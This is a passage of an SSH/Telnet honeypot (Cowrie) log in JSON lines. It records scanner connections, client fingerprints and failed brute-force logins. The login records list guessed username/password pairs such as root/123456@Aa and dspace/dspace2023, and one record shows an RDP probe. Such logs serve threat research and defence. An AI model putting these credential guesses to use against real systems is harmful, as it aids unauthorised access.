{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:54.217580Z","src_ip":"192.169.243.246","session":"2e4ab99f0fe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@Aa","message":"login attempt [root/123456@Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:54.539957Z","src_ip":"192.169.243.246","session":"2e4ab99f0fe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":52666,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa76dd0cc52f","protocol":"ssh","message":"New connection: 43.133.62.188:52666 (159.203.135.109:22) [session: fa76dd0cc52f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:54.576775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:54.581992Z","src_ip":"43.133.62.188","session":"fa76dd0cc52f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:54.820682Z","src_ip":"43.133.62.188","session":"fa76dd0cc52f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:55.615776Z","src_ip":"192.169.243.246","session":"2e4ab99f0fe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace2023","message":"login attempt [dspace/dspace2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:55.811266Z","src_ip":"43.133.62.188","session":"fa76dd0cc52f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43394,"dst_ip":"10.17.0.5","dst_port":23,"session":"75ca9f811461","protocol":"telnet","message":"New connection: 152.42.224.71:43394 (10.17.0.5:23) [session: 75ca9f811461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:56.192722Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:00:57.064087Z","src_ip":"43.133.62.188","session":"fa76dd0cc52f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.57041382789612,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:00.174267Z","src_ip":"152.42.224.71","session":"c1f969ec3af4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00659608840942,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:03.073428Z","src_ip":"152.42.224.71","session":"8f709d908b12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37260,"dst_ip":"10.17.0.5","dst_port":23,"session":"3459ac6687cd","protocol":"telnet","message":"New connection: 152.42.224.71:37260 (10.17.0.5:23) [session: 3459ac6687cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:10.667230Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":46450,"dst_ip":"159.203.135.109","dst_port":22,"session":"247573b0d1ae","protocol":"ssh","message":"New connection: 147.45.197.250:46450 (159.203.135.109:22) [session: 247573b0d1ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:15.079696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:15.084651Z","src_ip":"147.45.197.250","session":"247573b0d1ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.4741199016571045,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:15.141262Z","src_ip":"152.42.224.71","session":"3459ac6687cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":42620,"dst_ip":"159.203.135.109","dst_port":23,"session":"f826516b69a4","protocol":"telnet","message":"New connection: 209.127.178.212:42620 (159.203.135.109:23) [session: f826516b69a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:15.149017Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:15.174895Z","src_ip":"147.45.197.250","session":"247573b0d1ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexei","message":"login attempt [root/alexei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:15.453356Z","src_ip":"147.45.197.250","session":"247573b0d1ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:16.547214Z","src_ip":"147.45.197.250","session":"247573b0d1ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.07949757575989,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:20.064335Z","src_ip":"209.127.178.212","session":"b152083d4c00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56046,"dst_ip":"10.17.0.5","dst_port":23,"session":"67d1692bb79c","protocol":"telnet","message":"New connection: 152.42.224.71:56046 (10.17.0.5:23) [session: 67d1692bb79c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:25.026149Z"}
{"eventid":"cowrie.session.closed","duration":57.74176573753357,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:32.017840Z","src_ip":"152.42.224.71","session":"68464c92eabd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":43264,"dst_ip":"159.203.135.109","dst_port":23,"session":"0191d8249b2c","protocol":"telnet","message":"New connection: 209.127.178.212:43264 (159.203.135.109:23) [session: 0191d8249b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:32.720082Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":34842,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf4e2f853028","protocol":"ssh","message":"New connection: 38.93.206.2:34842 (159.203.135.109:22) [session: cf4e2f853028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:40.012557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:40.018503Z","src_ip":"38.93.206.2","session":"cf4e2f853028","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:40.070314Z","src_ip":"38.93.206.2","session":"cf4e2f853028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"destiny","message":"login attempt [root/destiny] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:40.226471Z","src_ip":"38.93.206.2","session":"cf4e2f853028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:41.280494Z","src_ip":"38.93.206.2","session":"cf4e2f853028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.37734270095825,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:43.236558Z","src_ip":"152.42.224.71","session":"402410eb47fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.889029502868652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:46.037964Z","src_ip":"209.127.178.212","session":"f826516b69a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57952,"dst_ip":"10.17.0.5","dst_port":23,"session":"4be31a6b7ab5","protocol":"telnet","message":"New connection: 152.42.224.71:57952 (10.17.0.5:23) [session: 4be31a6b7ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:47.061004Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51782,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec666fc2a476","protocol":"ssh","message":"New connection: 192.109.200.237:51782 (159.203.135.109:22) [session: ec666fc2a476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:47.255487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:47.259748Z","src_ip":"192.109.200.237","session":"ec666fc2a476","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:47.342289Z","src_ip":"192.109.200.237","session":"ec666fc2a476","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":61362,"dst_ip":"159.203.135.109","dst_port":22,"session":"de6b368e3d1a","protocol":"ssh","message":"New connection: 167.172.81.52:61362 (159.203.135.109:22) [session: de6b368e3d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:49.752688Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:49.757819Z","src_ip":"167.172.81.52","session":"de6b368e3d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:49.761882Z","src_ip":"167.172.81.52","session":"de6b368e3d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:55.256058Z","src_ip":"192.109.200.237","session":"ec666fc2a476","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00171995162964,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:55.717609Z","src_ip":"152.42.224.71","session":"65bc5a8121b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.37.39","src_port":53916,"dst_ip":"10.17.0.5","dst_port":22,"session":"360361e3b358","protocol":"ssh","message":"New connection: 43.153.37.39:53916 (10.17.0.5:22) [session: 360361e3b358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:57.131411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:57.136033Z","src_ip":"43.153.37.39","session":"360361e3b358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:57.208114Z","src_ip":"43.153.37.39","session":"360361e3b358","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajesh","password":"rajesh","message":"login attempt [rajesh/rajesh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:57.510423Z","src_ip":"43.153.37.39","session":"360361e3b358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:58.581887Z","src_ip":"43.153.37.39","session":"360361e3b358","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39670,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1e153975ff0","protocol":"telnet","message":"New connection: 152.42.224.71:39670 (10.17.0.5:23) [session: e1e153975ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:01:58.700584Z"}
{"eventid":"cowrie.session.closed","duration":30.59964108467102,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:03.319580Z","src_ip":"209.127.178.212","session":"0191d8249b2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":45904,"dst_ip":"159.203.135.109","dst_port":22,"session":"21f37dc813c8","protocol":"ssh","message":"New connection: 102.210.148.92:45904 (159.203.135.109:22) [session: 21f37dc813c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:06.006377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:06.012971Z","src_ip":"102.210.148.92","session":"21f37dc813c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 